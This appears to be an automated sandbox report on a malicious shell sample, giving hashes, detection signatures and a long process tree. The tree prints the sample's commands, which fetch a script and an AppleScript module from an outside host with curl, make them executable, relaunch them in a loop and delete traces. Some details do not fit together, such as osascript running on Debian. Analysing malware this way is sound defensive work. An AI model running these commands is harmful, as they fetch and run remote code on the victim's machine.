9f83fc44a2a1cd30e16eeeeb73f4cfcb5da7abe2fc81fafee6b60d569cbd99cb

Analysis

max time kernel
149s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/09/2026, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
s
Size 1KB
Sample260908-pnngdsfe89
SHA256 9f83fc44a2a1cd30e16eeeeb73f4cfcb5da7abe2fc81fafee6b60d569cbd99cb
MD5 19b6e45759690b086c8f87970d39e596
SHA1 2357c4364953ef25a826e40e3ef965541aacb13d
SHA512 682081a2264bcadca9b937637fc3b95ede3ed8fbdd7cde72bfdfefee535d88ecaac7091363f15b5c82a543efeb5c86104800a800181bd8e022fb0714b1b0a140
TLSH
T1E431CFA8EC389530BC1CE418A44C54F7A8C20E3FC06634806065FEFC411C69DE5F573A
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
732	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/159/status	pkill
File opened for reading	/proc/291/status	pkill
File opened for reading	/proc/651/status	pkill
File opened for reading	/proc/653/status	pkill
File opened for reading	/proc/673/cmdline	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/600/status	pkill
File opened for reading	/proc/195/status	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/672/status	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/655/cmdline	pkill
File opened for reading	/proc/672/cmdline	pkill
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/298/cmdline	pkill
File opened for reading	/proc/76/cmdline	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/291/cmdline	pkill
File opened for reading	/proc/320/status	pkill
File opened for reading	/proc/322/status	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/322/cmdline	pkill
File opened for reading	/proc/591/cmdline	pkill
File opened for reading	/proc/108/cmdline	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/137/status	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/97/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/233/status	pkill
File opened for reading	/proc/654/cmdline	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/108/status	pkill
File opened for reading	/proc/304/status	pkill
File opened for reading	/proc/655/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/195/status	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/291/status	pkill
File opened for reading	/proc/320/cmdline	pkill
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/233/status	pkill

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
771	nohup
1011	osascript
1057	nohup
991	nohup
1021	osascript
1031	nohup
801	osascript
809	nohup
899	osascript
1029	nohup
1037	nohup
1047	osascript
795	nohup
771	osascript
773	osascript
830	nohup
971	osascript
789	osascript
801	nohup
861	nohup
865	nohup
871	nohup
943	nohup
955	nohup
777	osascript
791	osascript
887	osascript
923	nohup
979	osascript
1007	osascript
947	osascript
1003	osascript
1045	osascript
807	osascript
825	nohup
907	nohup
913	osascript
941	nohup
957	nohup
1013	nohup
1053	nohup
661	pkill
799	nohup
809	osascript
847	nohup
859	nohup
861	osascript
1055	nohup
835	osascript
899	nohup
985	osascript
1037	osascript
855	nohup
875	osascript
877	osascript
915	nohup
951	nohup
995	nohup
995	osascript
1017	osascript
905	nohup
923	osascript
1059	nohup
797	nohup

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lab_fast_collect.sh	curl
File opened for modification	/tmp/lab_bmodule.applescript	curl
File opened for modification	/tmp/lab_bmodule.log	s

/tmp/s
/tmp/s
1⤵
- Writes file to tmp directory
PID:655
- /usr/bin/pkill
  pkill -f /tmp/lab_bmodule.applescript
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:661
- /usr/bin/pkill
  pkill -f /tmp/lab_fast_collect.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:672
- /bin/rm
  rm -f /.passphrase /.txid /tmp/updstat.txt /tmp/lab_collect.log /tmp/lab_tg.log
  2⤵
  PID:678
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/collect -o /tmp/lab_fast_collect.sh
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod +x /tmp/lab_fast_collect.sh
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /usr/bin/curl
  curl -fsSk --max-time 60 -X POST https://198348.gl/ -d "txid=lab-a320ade23adb6f5d&bmodule" -o /tmp/lab_bmodule.applescript
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:733
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:765
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:765
- /bin/sleep
  sleep 1
  2⤵
  PID:766
- /bin/sleep
  sleep 1
  2⤵
  PID:768
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:767
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:767
- /bin/sleep
  sleep 1
  2⤵
  PID:770
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:769
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:769
- /bin/sleep
  sleep 1
  2⤵
  PID:772
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:771
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:771
- /bin/sleep
  sleep 1
  2⤵
  PID:774
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:773
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:773
- /bin/sleep
  sleep 1
  2⤵
  PID:776
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:775
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:775
- /bin/sleep
  sleep 1
  2⤵
  PID:778
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:777
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:777
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:779
- /bin/sleep
  sleep 1
  2⤵
  PID:780
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:779
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:781
- /bin/sleep
  sleep 1
  2⤵
  PID:782
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:781
- /bin/sleep
  sleep 1
  2⤵
  PID:786
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:785
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:785
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:787
- /bin/sleep
  sleep 1
  2⤵
  PID:788
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:787
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:789
- /bin/sleep
  sleep 1
  2⤵
  PID:790
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:789
- /bin/sleep
  sleep 1
  2⤵
  PID:792
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:791
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:791
- /bin/sleep
  sleep 1
  2⤵
  PID:794
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:793
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:793
- /bin/sleep
  sleep 1
  2⤵
  PID:796
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:795
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:795
- /bin/sleep
  sleep 1
  2⤵
  PID:798
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:797
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:797
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:799
- /bin/sleep
  sleep 1
  2⤵
  PID:800
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:799
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:801
- /bin/sleep
  sleep 1
  2⤵
  PID:802
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:801
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:804
- /bin/sleep
  sleep 1
  2⤵
  PID:805
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:804
- /bin/sleep
  sleep 1
  2⤵
  PID:808
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:807
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:807
- /bin/sleep
  sleep 1
  2⤵
  PID:810
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:809
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:809
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:812
- /bin/sleep
  sleep 1
  2⤵
  PID:813
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:812
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:814
- /bin/sleep
  sleep 1
  2⤵
  PID:815
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:814
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:819
- /bin/sleep
  sleep 1
  2⤵
  PID:820
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:819
- /bin/sleep
  sleep 1
  2⤵
  PID:822
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:821
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:821
- /bin/sleep
  sleep 1
  2⤵
  PID:824
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:823
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:823
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:825
- /bin/sleep
  sleep 1
  2⤵
  PID:826
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:825
- /bin/sleep
  sleep 1
  2⤵
  PID:828
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:827
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:827
- /bin/sleep
  sleep 1
  2⤵
  PID:831
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:830
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:830
- /bin/sleep
  sleep 1
  2⤵
  PID:834
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:833
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:833
- /bin/sleep
  sleep 1
  2⤵
  PID:836
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:835
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:835
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:837
- /bin/sleep
  sleep 1
  2⤵
  PID:838
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:837
- /bin/sleep
  sleep 1
  2⤵
  PID:840
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:839
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:839
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:841
- /bin/sleep
  sleep 1
  2⤵
  PID:842
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:841
- /bin/sleep
  sleep 1
  2⤵
  PID:844
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:843
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:843
- /bin/sleep
  sleep 1
  2⤵
  PID:846
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:845
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:845
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:847
- /bin/sleep
  sleep 1
  2⤵
  PID:848
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:847
- /bin/sleep
  sleep 1
  2⤵
  PID:850
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:849
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:849
- /bin/sleep
  sleep 1
  2⤵
  PID:854
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:853
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:853
- /bin/sleep
  sleep 1
  2⤵
  PID:856
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:855
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:855
- /bin/sleep
  sleep 1
  2⤵
  PID:858
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:857
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:857
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/sleep
  sleep 1
  2⤵
  PID:860
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:859
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:861
- /bin/sleep
  sleep 1
  2⤵
  PID:862
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:861
- /bin/sleep
  sleep 1
  2⤵
  PID:864
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:863
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:863
- /bin/sleep
  sleep 1
  2⤵
  PID:866
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:865
- /bin/sleep
  sleep 1
  2⤵
  PID:868
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:867
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:867
- /bin/sleep
  sleep 1
  2⤵
  PID:870
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:869
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:869
- /bin/sleep
  sleep 1
  2⤵
  PID:872
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:871
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:871
- /bin/sleep
  sleep 1
  2⤵
  PID:876
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:875
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/sleep
  sleep 1
  2⤵
  PID:878
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:877
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:879
- /bin/sleep
  sleep 1
  2⤵
  PID:880
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:879
- /bin/sleep
  sleep 1
  2⤵
  PID:882
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:881
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:881
- /bin/sleep
  sleep 1
  2⤵
  PID:884
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:883
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:883
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:885
- /bin/sleep
  sleep 1
  2⤵
  PID:886
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:885
- /bin/sleep
  sleep 1
  2⤵
  PID:888
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:887
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:889
- /bin/sleep
  sleep 1
  2⤵
  PID:890
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:889
- /bin/sleep
  sleep 1
  2⤵
  PID:892
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:891
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:891
- /bin/sleep
  sleep 1
  2⤵
  PID:894
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:893
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:893
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:897
- /bin/sleep
  sleep 1
  2⤵
  PID:898
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:897
- /bin/sleep
  sleep 1
  2⤵
  PID:900
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:901
- /bin/sleep
  sleep 1
  2⤵
  PID:902
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:901
- /bin/sleep
  sleep 1
  2⤵
  PID:904
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:903
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:903
- /bin/sleep
  sleep 1
  2⤵
  PID:906
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:905
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/sleep
  sleep 1
  2⤵
  PID:908
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:907
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:909
- /bin/sleep
  sleep 1
  2⤵
  PID:910
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:909
- /bin/sleep
  sleep 1
  2⤵
  PID:912
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:911
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:911
- /bin/sleep
  sleep 1
  2⤵
  PID:914
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:913
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/sleep
  sleep 1
  2⤵
  PID:916
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:915
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:919
- /bin/sleep
  sleep 1
  2⤵
  PID:920
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:919
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:921
- /bin/sleep
  sleep 1
  2⤵
  PID:922
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:921
- /bin/sleep
  sleep 1
  2⤵
  PID:924
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/sleep
  sleep 1
  2⤵
  PID:926
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:925
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:925
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:927
- /bin/sleep
  sleep 1
  2⤵
  PID:928
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:927
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:929
- /bin/sleep
  sleep 1
  2⤵
  PID:930
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:929
- /bin/sleep
  sleep 1
  2⤵
  PID:932
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:931
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:931
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:933
- /bin/sleep
  sleep 1
  2⤵
  PID:934
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:933
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:935
- /bin/sleep
  sleep 1
  2⤵
  PID:936
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:935
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:937
- /bin/sleep
  sleep 1
  2⤵
  PID:938
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:937
- /bin/sleep
  sleep 1
  2⤵
  PID:942
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:941
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:941
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/sleep
  sleep 1
  2⤵
  PID:944
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:943
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:945
- /bin/sleep
  sleep 1
  2⤵
  PID:946
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:945
- /bin/sleep
  sleep 1
  2⤵
  PID:948
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:947
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:947
- /bin/sleep
  sleep 1
  2⤵
  PID:950
- /usr/bin/nohup
